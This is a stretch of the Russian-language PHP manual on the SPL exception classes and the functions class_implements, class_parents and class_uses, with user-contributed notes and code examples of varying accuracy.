$x = tripleInteger('foo'); //exception will be thrown as 'foo' is a string
$x = tripleInteger('4'); //exception will throw as '4' is also a string

?>


Класс LengthException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Создаётся исключение, если длина недопустима.

Обзор классов

class LengthException extends LogicException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс LogicException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Исключение, которое представляет ошибку в логике программы. Такой тип исключений должен непосредственно привести к исправлениям в вашем коде.

Обзор классов

class LogicException extends Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

Dawid Krysiak 03-Feb-2011 02:32
Direct known subclasses:
BadFunctionCallException, DomainException, InvalidArgumentException, LengthException, OutOfRangeException


Класс OutOfBoundsException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Выбрасывается исключение, если значение не является действительным ключом. Это представляет ошибки, которые не могут быть обнаружены во время компиляции.

Обзор классов

class OutOfBoundsException extends RuntimeException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

Anonymous 09-Jun-2022 12:52
I would probably repeat @jacub's answer, but I see the distinction as following:

`OutOfBoundsException` you throw, when _you_ _set_ bounds and do not wish them to be crossed by an external entity, but they may be.
Example: you ask for a number in range [1, 6] and user input 0 or 7 or what else. You throw an exception indicating user error they could amend.

`OutOfRangeException` you throw, when you expect value within allowed boundary, but actual operation fails.
Example: You are trying to access external API call using information provided by the API itself, and it suddenly tell you that the reference key is not pointing to a valid object. You throw an exception indicating internal failure that the user is unable to correct.

In both cases, the key word is "you throw". Both exceptions are generated at runtime, but the latter describes a situation that should not happen, ever, if a system is configured correctly.
Jakub Adamczyk 16-May-2017 11:35
I see this in this way:
By definiton, OutOfRangeException should be use to when potential problem is logical. This (OutOfBoundsException) is for runtime, so it's perfect for catching errors which occur because of bad result from database and simillar.

Example of using OutOfBoundSException (see also note in "OutOfRangeException class" article):

<?php
class HandleApplication {
    public function __construct($_POST) {
        if(!isset($_POST['secretCode'])
            throw new OutOfBoundsException('Application hasn't sent secret code for authenticate');
}
evguenia dot chagnon at gmail dot com 26-Jan-2017 12:58
class MyDynamicTastyPie implements ArrayAccess{
    private $_pointeur = 0;
    private $_array = ['strawberry slice','white chocolate','nuts'];

    public function offsetExists($key){
        return isset($this->_array[$key]);
    }

    public function offsetGet($key){
        if ($key > count($this->_array)){
            throw new OutOfBoundsException('Your tasty pie doesn\'t contain so slices');
        }
        return $this->_array[$key];
    }

    public function offsetSet($key, $value){
        $this->_array[$key] =$value;
    }

    public function offsetUnset($key){
        unset($this->_array[$key]);
    }

    public function addSlice($slice){
        $this->_array[] = $slice;
    }
}

try {
    $myDynamicTastyPie = new MyDynamicTastyPie();
    $myDynamicTastyPie->addSlice('Black chocolate cream decoration');
    echo $myDynamicTastyPie[7];
}
catch(OutOfBoundsException $e){
    echo 'Here is your OutOfBoundsException!';
}
sricharan dot krishnan at gmail dot com 04-Jul-2016 10:48
An example where an OutOfBoundsException can occur:
Lets say post a certain division process, we wish to access a value in an Array [provided ofcourse if the result value of the division is within the size of the Array]..

try{
    if ($iNum2 == 0){
        throw new Exception("Division by Zero");
    }
    $iResult = $iNum1 / $iNum2;
    echo ("Division result is: ".($iResult)."<br/>");
}
catch (Exception $e){
    echo ("Division by Zero is not possible.".($e)."<br/>");
}

$rg_Array = array(1,2,3,4);

try{
    if ($iResult > sizeof($rg_Array)- 1){
        throw new Exception("Exceeding key values");
    }
echo ("Capturing value from \$rg_Array post Division process:".($rg_Array[$iResult])."<br/>");
}
catch (Exception $e){
    echo ("Value of Division result is out of bounds for the array.".($e)."<br/>");
}
?>
Jacob V. Rasmussen 11-Aug-2015 08:49
OutOfRangeException is for Integers out of range.
OutOfBoundsException is for key values, not found in the target array.

Editor's note: This is incorrect; OutOfRangeException has *nothing* to do with Integer ranges. I decided to keep this highly voted comment even though it is wrong for education's sake.
Anonymous 10-Nov-2014 03:29
i wish i know what's the difference between
OutOfRangeException and OutOfBoundsException lol


Класс OutOfRangeException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Выбрасывается исключение при запросе несуществующего индекса. Это представляет ошибки, которые должны быть обнаружены во время компиляции.

Обзор классов

class OutOfRangeException extends LogicException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

anrdaemon at yandex dot ru 09-Jun-2022 12:50
I would probably repeat @jacub's answer, but I see the distinction as following:

`OutOfBoundsException` you throw, when _you_ _set_ bounds and do not wish them to be crossed by an external entity, but they may be.
Example: you ask for a number in range [1, 6] and user input 0 or 7 or what else. You throw an exception indicating user error they could amend.

`OutOfRange` you throw, when you expect value within allowed boundary, but actual operation fails.
Example: You are trying to access external API call using information provided by the API itself, and it suddenly tell you that the reference key is not pointing to a valid object. You throw an exception indicating internal failure that the user is unable to correct.

In both cases, the key word is "you throw". Both exceptions are generated at runtime, but the latter describes a situation that should not happen, ever, if a system is configured correctly.
Free 26-May-2020 05:54
I tried to write a snippet that would be detected at compile time, but was unable, apparently due to my PHP engine's interpreted nature. The creator(s) should have provided a usage example (for end-users) or pointed to PHP sources for an example of where/how it's used. None of the provided examples, to date, reflect an exception detected at compile time, as this class asserts.

IMO it's hopeful at best to expect a compiler to detect an illegal index in a dynamically-typed, typically JIT-executed, enviro. Since when is there a strict contract of what indexes should be considered "within range" and how would the compiler know about this contract? Also, how would we try/catch that in the compile phase?

SPL also provides the OutOfBounds exception. If this class, its parent, and OOB have little distinction, then does SPL need all 3?
Jakub 16-May-2017 11:59
I see this in this way:
By definiton, OutOfRangeException should be use to when potential problem is logical - occurs because of wrong code or definition. OutOfBoundsException is for runtime.

Example (see also note in "OutOfBoundsException class" article):
<?php
function prepareData(PDOStatement $s) {
    $x = $s->fetch();
    if (!isset($x['secretColumn']))
        throw new OutOfRangeException ("Secret column doesn't exist! Verify table definition and query.");
}
evguenia dot chagnon at gmail dot com 26-Jan-2017 12:47
Exemple :

$calendar = new Calendar();
$calendar->getMonth(15);


Класс OverflowException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Выбрасывается исключение при добавлении элемента в полный контейнер.

Обзор классов

class OverflowException extends RuntimeException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс RangeException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Выбрасывается исключение, чтобы указать ошибки диапазона во время выполнения программы. Как правило, это означает, что была арифметическая ошибка, отличная от недополнения/ переполнения. Это версия DomainException, предназначенная для времени выполнения.

Обзор классов

class RangeException extends RuntimeException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

evguenia dot chagnon at gmail dot com 26-Jan-2017 01:30
CF. DomainException  : "DomainException corresponds to RangeException and we should use them in simillar situations.  But first exception is designed to use when we are sure the problem is with our project, third-part elements etc. (simply: logical error), the second way is designed to use when we are sure the problem is with input data or environment (simply: runtime error)."

function divide($divident, $input) {
    if(!is_numeric($divident) || !is_numeric($input)) {
        throw new InvalidArgumentException("Function accepts only numeric values");
    }
    if($input == 0) {
        throw new RangeException("Divisor must not be zero");
    }
    return $divident / $input;
}


Класс RuntimeException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Выбрасывается исключение в случае возникновения ошибки, которая может быть найдена только во время выполнения.

Обзор классов

class RuntimeException extends Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

sricharan dot krishnan at gmail dot com 04-Jul-2016 10:41
A simple example of using RuntimeException Class:-

Lets say we would be dividing two numbers and throw an exception as soon as the denominator is equal to zero.

<?php
$iNum1 = 10;
$iNum2 = 0;

try{
if ($iNum2 == 0){
throw new RuntimeException("Division by Zero");
}
$iResult = $iNum1 / $iNum2;
echo ("Division Result of \$iNum1 and $iNum2 = ".($iResult)."<br/>");
}
catch (RuntimeException $e){
echo ("Division by Zero is not possible");
}
?>
kelerest123 at gmail dot com 12-Feb-2015 07:29
Whole exception-class hierarchy is shown at http://php.net/manual/en/spl.exceptions.php#spl.exceptions.tree
Dawid Krysiak 03-Feb-2011 02:31
Direct known subclasses (following the java docs convention (: ):
OutOfBoundsException, OverflowException, RangeException, UnderflowException, UnexpectedValueException


Класс UnderflowException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Выбрасывается исключение при попытке произвести недопустимую операцию над пустым контейнером. Например, такую, как удаление элемента из пустого контейнера.

Обзор классов

class UnderflowException extends RuntimeException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

Jakub Adamczyk 11-Jul-2022 11:01
The most typical usage is with stack, queue or collection, for example when you queue tasks, make call stack or manipulate JSON, XML, etc. elements.

As other exepctions of RuntimeException class, this type of error can't be detected in (for example) your IDE or compiler.

<?php
// Functions declared above
$f1 = function() { setTypeControl('username');};
$f2 = function() { setTypeControl('userpass');};
$f3 = function() { setButton('Add');};
$f4 = function() { setButton('OK');};

$tasks = new class {
    private $list;

    // Create internal queue
    public function __construct() {
        $this->list = new SplQueue;
    }

    // Add to queue
    public function add(callable $func) {
        $this->list->enqueue($func);
    }

    // Delete from queue and execute
    public function do() {
        if ($this->list->isEmpty()) {
            throw new UnderflowException;
        } else {
            call_user_func($this->list->dequeue());
        }
    }

};

$tasks->add($f1);
$tasks->add($f2);
$tasks->add($f3);
$tasks->add($f4);

$tasks->do(); // Field username is created
$tasks->do(); // Field userpass is created
$tasks->do(); // Button Add is created
$tasks->do(); // Button OK is created
$tasks->do(); // Fatal error: Uncaught UnderflowException in ...
evguenia dot chagnon at gmail dot com 26-Jan-2017 01:40
UnderflowException handles exceptions due to a value being too small to maintain precision, resulting in loss of accuracy. In PHP, this can occurs when using floats:

echo (1-0.9) // 0.1
echo (1-0.99) // 0.01
echo (1-0.999) // 0.001
echo (1-0.9999) // 9.9999999999989E-05
echo (1-0.99999) // 9.9999999999545E-06
echo (1-0.999999) // 1.0000000000288E-06


Класс UnexpectedValueException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Выбрасывается исключение, если значение не совпадает с набором значений. Обычно это происходит, когда функция вызывает другую функцию и ожидает, что возвращаемое значение будет определённого типа или значением, не включая арифметические ошибки, или ошибки, связанные с буфером.

Обзор классов

class UnexpectedValueException extends RuntimeException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Функции SPL

Содержание

  • class_implements — Возвращает список интерфейсов, реализованных в заданном классе или интерфейсе
  • class_parents — Возвращает список родительских классов заданного класса
  • class_uses — Возвращает список трейтов, используемых заданным классом
  • iterator_apply — Вызывает функцию для каждого элемента в итераторе
  • iterator_count — Подсчитывает количество элементов в итераторе
  • iterator_to_array — Копирует итератор в массив
  • spl_autoload_call — Попытка загрузить класс всеми зарегистрированными функциями __autoload()
  • spl_autoload_extensions — Регистрация и вывод расширений файлов для spl_autoload
  • spl_autoload_functions — Получение списка всех зарегистрированных функций __autoload()
  • spl_autoload_register — Регистрирует заданную функцию в качестве реализации метода __autoload()
  • spl_autoload_unregister — Отмена регистрации функции в качестве реализации метода __autoload()
  • spl_autoload — Реализация по умолчанию метода __autoload()
  • spl_classes — Возвращает доступные классы SPL
  • spl_object_hash — Возвращает хеш-идентификатор для объекта
  • spl_object_id — Получить целочисленный идентификатор объекта

User Contributed Notes

benny at whitewashing dot de 22-Jul-2008 09:56
I have to correct my implementation from before. The example before only supported correct read-access but failed on setting new values after creation of the ArrayMultiObject. Also i had to correct a bug that occured from my CopyPasteChange into the comment textarea.

This snippet now hopefully implements a fully functional multidimensional array, represented by an ArrayObject:

<?php
class ArrayMultiObject extends ArrayObject
{
    function __construct($array, $flags = 0, $iterator_class = "ArrayIterator")
    {
        $objects = array();
        foreach($array AS $key => $value) {
            if(is_array($value)) {
                $objects[$key] = new ArrayMultiObject($value, $flags, $iterator_class);
            } else {
                $objects[$key] = $value;
            }
        }

        parent::__construct($objects, $flags, $iterator_class);
    }

    public function offsetSet($name, $value)
    {
        if(is_array($value)) {
            $value = new ArrayMultiObject($value);
        }

        return parent::offsetSet($name, $value);
    }
}
?>
loaded67 at hotmail dot com 19-May-2008 01:56
For some application I needed to reverse some standard iterators.

So I mocked up this flexible function.
Enjoy

<?php
function reverse_iterator(Iterator $iterator){
    $type     = get_class($iterator);
    $array     = array_reverse(iterator_to_array($iterator), true);
    return new $type($array);
}
?>
prometheus - csaba dot dobai at php-sparcle dot hu 13-Sep-2007 02:33
This code is an example. By using classes like this, you gives a chance to create classes which extends another class but have most of the ability what a class extends ArrayObject (like multiple inheritance):

<?php

class foo
{
    public $foo = 'foo';
} // class

class foobar extends foo implements ArrayAccess,IteratorAggregate,Countable
{
    public function offsetExists($offset)
    {
        $array = array(1, 2, 3, 4);
        return array_key_exists($offset, $array);
    }

    public function offsetGet($offset)
    {
        $array = array(1, 2, 3, 4);
        return $array[$offset];
    }

    public function offsetSet($offset, $value)
    {
        // Makes "array" to readonly
    }

    public function offsetUnset($offset)
    {
        // Makes "array" to readonly
    }

    function count()
    {
        $array = array(1, 2, 3, 4);
        return count($array);
    } // function

    function getArray()
    {
        return array(1, 2, 3, 4);
    } // function

    function getIterator()
    {
        return new ArrayIterator(array(1, 2, 3, 4));
    } // function

    function __toString()
    {
        return 'String test';
    } // function
} // class

$foobar = new foobar();
print $foobar[0].'<br/>';
print $foobar->foo.'<br/>';
print count($foobar).'<br/>';

foreach ($foobar as $k=>$v)
{
    print $k.'=>'.$v.'<br/>';
} // foreach

var_dump($foobar->getArray());

print $foobar;

/* Generated output:
1
foo
4
0=>1
1=>2
2=>3
3=>4
array
  0 => int 1
  1 => int 2
  2 => int 3
  3 => int 4
String test
*/
?>

For proper use you must be define all these methods except getArray()

Browse SPL's sources to be a very helpful think.

ps.: sry for my english
semperluc (at) yahoo._forgot_the_rest 01-Feb-2007 01:43
<?php
/*
How to store SPL Iterator results (rather than just echo-and-forget):

The library of Iterators  are object based, so you need to trick the little rascals into an array.
Here's how (two ways) ...

1. Explicit typecasts: $a[] = (array)$Obj->objMethod();

2. Array definition: $a[] = array( key => $Obj->objMethod() );

Examples: DirectoryIterator()
*/

// 1. explicity typecast object as array
foreach ( new DirectoryIterator('./') as $Item )
{
  $fname = (array)$Item->getFilename();
  $dir_listing[] = $fname[0];
}

//
echo "<pre>";
print_r($dir_listing); unset($dir_listing);
echo"</pre><hr />";
//

// or

// 2. define array as key => object->method
foreach ( new DirectoryIterator('./') as $Item )
{
  $dir_listing[] = array (
    "fname" => $Item->getFilename(),
    "path" => $Item->getPathname(),
    "size" => $Item->getSize(),
    "mtime" => $Item->getMTime()
  );
}

//
echo "<pre>";
print_r($dir_listing); unset($dir_listing);
echo"</pre>";
//
?>
ville</.>witt</a>gmail</.>com 12-Jan-2006 12:37
These to funtions has excatly the same output, the only diff. is in which directory iterator they use. I hope someone out there can use it:
<?php
function listfilesin1 ($dir = ".", $depth=0) {
    echo "Dir: ".$dir."<br/>";
    foreach(new DirectoryIterator($dir) as $file) {
        if (!$file->isDot()) {
            if ($file->isDir()) {
                $newdir = $file->getPathname();
                listfilesin1($newdir, $depth+1);
            } else {
                echo "($depth)".$file->getPathname() . "<br/>";
            }
        }
    }
}
function listfilesin2 ($dir = ".", $depth=0) {
    echo "Dir: ".$dir."<br/>";
    foreach(new RecursiveDirectoryIterator($dir) as $file) {
        if ($file->hasChildren(false)) {
            $newdir = $file->key();
            listfilesin2($newdir, $depth+1);
        } else {
            echo "($depth)".$file->key() . "<br/>";
        }
    }
}
listfilesin();
?>
adove at booyahnetworks dot com 10-Oct-2005 10:45
Something to note that, at least to me, seems pretty important and is not entirely clear in the documentation is the fact that the ArrayObject class supports get/set on uni-dimensional keys and get ONLY on *passed* multi-dimensional keys/paths (see source below). If you, like me, need to support array accesss overloading for multi-dimensional data, you will need to derive from ArrayObject and overide the ArrayAccess interface methods to "walk" passed data and convert embedded arrays to objects of some kind...

Reference Bug 34816 @ http://bugs.php.net/bug.php?id=34816.

Illustration of the issue:

$a = array(
    "test" => array(
        "one" => "dunno",
        "two" => array(
            "peekabo" => "do you see me?",
            "anyone" => array("there")
            )
        )
    );
$oArray = new ArrayObject($a);
var_dump($oArray);

$oArray["three"] = "No problems here.";

echo "\n\\test\\one == " . $oArray["test"]["one"] . "\n\n";

// NEITHER of the two below will work!
$oArray["test"]["one"] = "Yes I do!";
$oArray["test"]["yes"] = array(
    "hello" => "Goodbye!"
    );

var_dump($oArray);

---
Note from the extension author:
Actually there is RecursiveArrayObject and RecursiveArrayIterator to deal with recursive structures. However this does not always solve all multidimensional issues as expected.
helly at php dot net 25-Sep-2005 02:41
There is a RecursiveFilterIterator that makes the above code much easier. And then ther is ParentIterator thta is already a filtering recursive iterator that only accepts elements that have children, with a RecursiveDirectoryIterator as inner iterator you would obviously get only the directories. Further more it ensures that it creates the correct children. All in all you simply need to do this:

$it = new RecursiveDirectoryIterator($path);
$it = new ParentIterator($it);
$it = new RecursiveIteratorIteator($it);

foreach($it as $dir  => $o) { ... }
phil &ampersat; flatnet.net 17-Apr-2004 03:11
Here's a sample implementation of the RecursiveDirectoryIterator class. It prints a simple treeview of a given directory:
<?php
function recurse($it) {
   echo '<ul>';
   for( ; $it->valid(); $it->next()) {
       if($it->isDir() && !$it->isDot()) {
           printf('<li class="dir">%s</li>', $it->current());
           if($it->hasChildren()) {
               $bleh = $it->getChildren();
               echo '<ul>' . recurse($bleh) . '</ul>';
           }
       } elseif($it->isFile()) {
           echo '<li class="file">'. $it->current() . ' (' . $it->getSize(). ' Bytes)</li>';
       }
   }
   echo '</ul>';
}

recurse(new RecursiveDirectoryIterator('D:/'));
?>


Возвращает список интерфейсов, реализованных в заданном классе или интерфейсе

  • « Функции SPL
  • class_parents »
  • PHP Manual
  • Функции SPL
  • Возвращает список интерфейсов, реализованных в заданном классе или интерфейсе

class_implements

(PHP 5, PHP 7, PHP 8)

class_implements — Возвращает список интерфейсов, реализованных в заданном классе или интерфейсе

Описание

class_implements(object|string $object_or_class, bool $autoload = true): array|false

Функция возвращает массив имён интерфейсов, реализованных в заданном классе object_or_class и его родительских классах.

Список параметров

object_or_class

Объект (экземпляр класса) или строка (имя класса или интерфейса).

autoload

Нужно ли автоматически подгружать класс, если он ещё не загружен.

Возвращаемые значения

В случае успешного выполнения будет возвращён массив, если заданный класс не существует, возвращается false.

Примеры

Пример #1 Пример использования class_implements()

<?php

interface foo { }
class bar implements foo {}

print_r(class_implements(new bar));

// можно передавать имя класса вместо объекта
print_r(class_implements('bar'));

spl_autoload_register();

// использование автозагрузки для загрузки ещё незагруженного класса 'not_loaded'
print_r(class_implements('not_loaded', true));

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [foo] => foo
)
Array
(
    [foo] => foo
)
Array
(
    [interface_of_not_loaded] => interface_of_not_loaded
)

Примечания

Замечание: Для проверки того, что объект реализует интерфейс, следует использовать instanceof или функцию is_a().

Смотрите также

  • class_parents() - Возвращает список родительских классов заданного класса
  • get_declared_interfaces() - Возвращает массив всех объявленных интерфейсов
  • is_a() - Проверяет, является ли объект указанным типом или подтипом
  • instanceof

User Contributed Notes

sam at rmcreative dot ru 03-Apr-2019 07:16
The order of interfaces is not reliable and varies between PHP versions.
a dot panek at brainsware dot org 05-Nov-2013 01:29
Calling class_implements with a non-loadable class name or a non-object results in a warning:

<?php
// Warning: class_implements(): Class abc does not exist and could not be loaded in /home/a.panek/Projects/sauce/lib/Sauce/functions.php on line 196

$interfaces = class_implements('abc');
?>

This is not documented and should just return FALSE as the documentation above says.
trollll23 at yahoo dot com 25-Oct-2005 12:57
Luckily, it prints out superinterfaces as well in reverse order so iterative searching works fine:

    <?php

    interface InterfaceA { }

    interface InterfaceB extends InterfaceA { }

    class MyClass implements InterfaceB { }

    print_r(class_implements(new MyClass()));

    ?>

prints out:

    Array
    (
        [InterfaceB] => InterfaceB
        [InterfaceA] => InterfaceA
    )
ludvig dot ericson at gmail dot nospam dot com 01-Aug-2005 12:41
Hint:
<?php
in_array("your-interface", class_implements($object_or_class_name));
?>
would check if 'your-interface' is ONE of the implemented interfaces.
Note that you can use something similar to be sure the class only implements that, (whyever you would want that?)
<?php
array("your-interface") == class_implements($object_or_class_name);
?>

I use the first technique to check if a module has the correct interface implemented, or else it throws an exception.


Возвращает список родительских классов заданного класса

  • « class_implements
  • class_uses »
  • PHP Manual
  • Функции SPL
  • Возвращает список родительских классов заданного класса

class_parents

(PHP 5, PHP 7, PHP 8)

class_parents — Возвращает список родительских классов заданного класса

Описание

class_parents(object|string $object_or_class, bool $autoload = true): array|false

Эта функция возвращает массив с именами родительских классов заданного класса object_or_class.

Список параметров

object_or_class

Объект (экземпляр класса) или строка (имя класса).

autoload

Нужно ли автоматически подгружать класс, если он ещё не загружен.

Возвращаемые значения

В случае успешного выполнения будет возвращён массив, если заданный класс не существует, возвращается false.

Примеры

Пример #1 Пример использования class_parents()

<?php

class foo { }
class bar extends foo {}

print_r(class_parents(new bar));

// можно передавать имя класса вместо объекта
print_r(class_parents('bar'));

spl_autoload_register();

// использование автозагрузки для загрузки ещё незагруженного класса 'not_loaded'
print_r(class_parents('not_loaded', true));

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [foo] => foo
)
Array
(
    [foo] => foo
)
Array
(
    [parent_of_not_loaded] => parent_of_not_loaded
)

Примечания

Замечание: Для проверки того, что объект реализует интерфейс, следует использовать instanceof или функцию is_a().

Смотрите также

  • class_implements() - Возвращает список интерфейсов, реализованных в заданном классе или интерфейсе
  • is_a() - Проверяет, является ли объект указанным типом или подтипом
  • instanceof

User Contributed Notes

sergei dot solomonov at gmail dot com 02-Oct-2012 02:57
<?php
class foo {}
class bar extends foo {}
class baz extends bar {}

print_r(class_parents(new baz));
?>

Will output:
Array
(
    [bar] => bar
    [foo] => foo
)


Возвращает список трейтов, используемых заданным классом

  • « class_parents
  • iterator_apply »
  • PHP Manual
  • Функции SPL
  • Возвращает список трейтов, используемых заданным классом

class_uses

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

class_uses — Возвращает список трейтов, используемых заданным классом

Описание

class_uses(object|string $object_or_class, bool $autoload = true): array|false

Эта функция возвращает массив с именами трейтов, которые использует заданный класс object_or_class. В этот массив, однако, не попадут трейты, используемые в классах-родителях.

Список параметров

object_or_class

Объект (экземпляр класса) или строка (имя класса).

autoload

Нужно ли автоматически подгружать класс, если он ещё не загружен.

Возвращаемые значения

В случае успешного выполнения будет возвращён массив, если заданный класс не существует, возвращается false.

Примеры

Пример #1 Пример использования class_uses()

<?php

trait foo { }
class bar {
use foo;
}

print_r(class_uses(new bar));

print_r(class_uses('bar'));

spl_autoload_register();

// использование автозагрузки для загрузки ещё незагруженного класса 'not_loaded'
print_r(class_uses('not_loaded', true));

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [foo] => foo
)
Array
(
    [foo] => foo
)
Array
(
    [trait_of_not_loaded] => trait_of_not_loaded
)

Смотрите также

  • class_parents() - Возвращает список родительских классов заданного класса
  • get_declared_traits() - Возвращает массив со всеми объявленными трейтами

User Contributed Notes

donatj at gmail dot com 15-Mar-2021 06:02
The popular stealz solution doesn't handle traits that use other traits. A little bit of recursion can clean the entire thing up a bit and make it more robust.

<?php

public function class_uses_deep( string $class, bool $autoload = true ) : array {
    $traits = class_uses($class, $autoload);

    if($parent = get_parent_class($class)) {
        $traits = array_merge($traits, class_uses_deep($parent, $autoload));
    }

    foreach( $traits as $trait ) {
        $traits = array_merge($traits, class_uses_deep($trait, $autoload));
    }

    return $traits;
}

?>
Jos Macedo 16-Aug-2020 01:16
Another alternative to get all parent traits is:

<?php
function getUsedTraits($classInstance) {
    $parentClasses = class_parents($classInstance);
    $traits = class_uses($classInstance);

    foreach ($parentClasses as $parentClass) {
        $traits = array_merge($traits, class_uses($parentClass));
    }

    return $traits;
}
?>
Daniel Klein 23-Feb-2018 12:53
I have improved on ulf's improvement of stealz' code. I'm pretty sure the last "foreach" adds nothing, so I've removed it, as well as adding a check for string class names (as opposed to objects) to prevent the warning if the class is not found:

<?php
function class_uses_deep($class, $autoload = true) {
  $traits = [];

  // Get all the traits of $class and its parent classes
  do {
    $class_name = is_object($class)? get_class($class): $class;
    if (class_exists($class_name, $autoload)) {
      $traits = array_merge(class_uses($class, $autoload), $traits);
    }
  } while ($class = get_parent_class($class));

  // Get traits of all parent traits
  $traits_to_search = $traits;
  while (!empty($traits_to_search)) {
    $new_traits = class_uses(array_pop($traits_to_search), $autoload);
    $traits = array_merge($new_traits, $traits);
    $traits_to_search = array_merge($new_traits, $traits_to_search);
  };

  return array_unique($traits);
}
Daniel Klein 23-Feb-2018 12:48
If the class does not exist, you will get a warning, even if $autoload == false; I.e., if the class is not found, setting $autoload to false is not sufficient to silence the warning.

This is different from class_exists ($class_name, $autoload = true), which doesn't generate a warning in either case.
ulf 11-Jul-2013 09:21
A slighly modified version from Stealz that also checks all the "parent" traits used by the traits:

<?php
public static function class_uses_deep($class, $autoload = true)
    {
        $traits = [];

        // Get traits of all parent classes
        do {
            $traits = array_merge(class_uses($class, $autoload), $traits);
        } while ($class = get_parent_class($class));

        // Get traits of all parent traits
        $traitsToSearch = $traits;
        while (!empty($traitsToSearch)) {
            $newTraits = class_uses(array_pop($traitsToSearch), $autoload);
            $traits = array_merge($newTraits, $traits);
            $traitsToSearch = array_merge($newTraits, $traitsToSearch);
        };

        foreach ($traits as $trait => $same) {
            $traits = array_merge(class_uses($trait, $autoload), $traits);
        }

        return array_unique($traits);
    }
?>
adam at adamhahn dot com 30-Apr-2013 11:34
FYI: It is not explicitly stated, but if you run this function against a class that does not use any traits it will return an empty array.

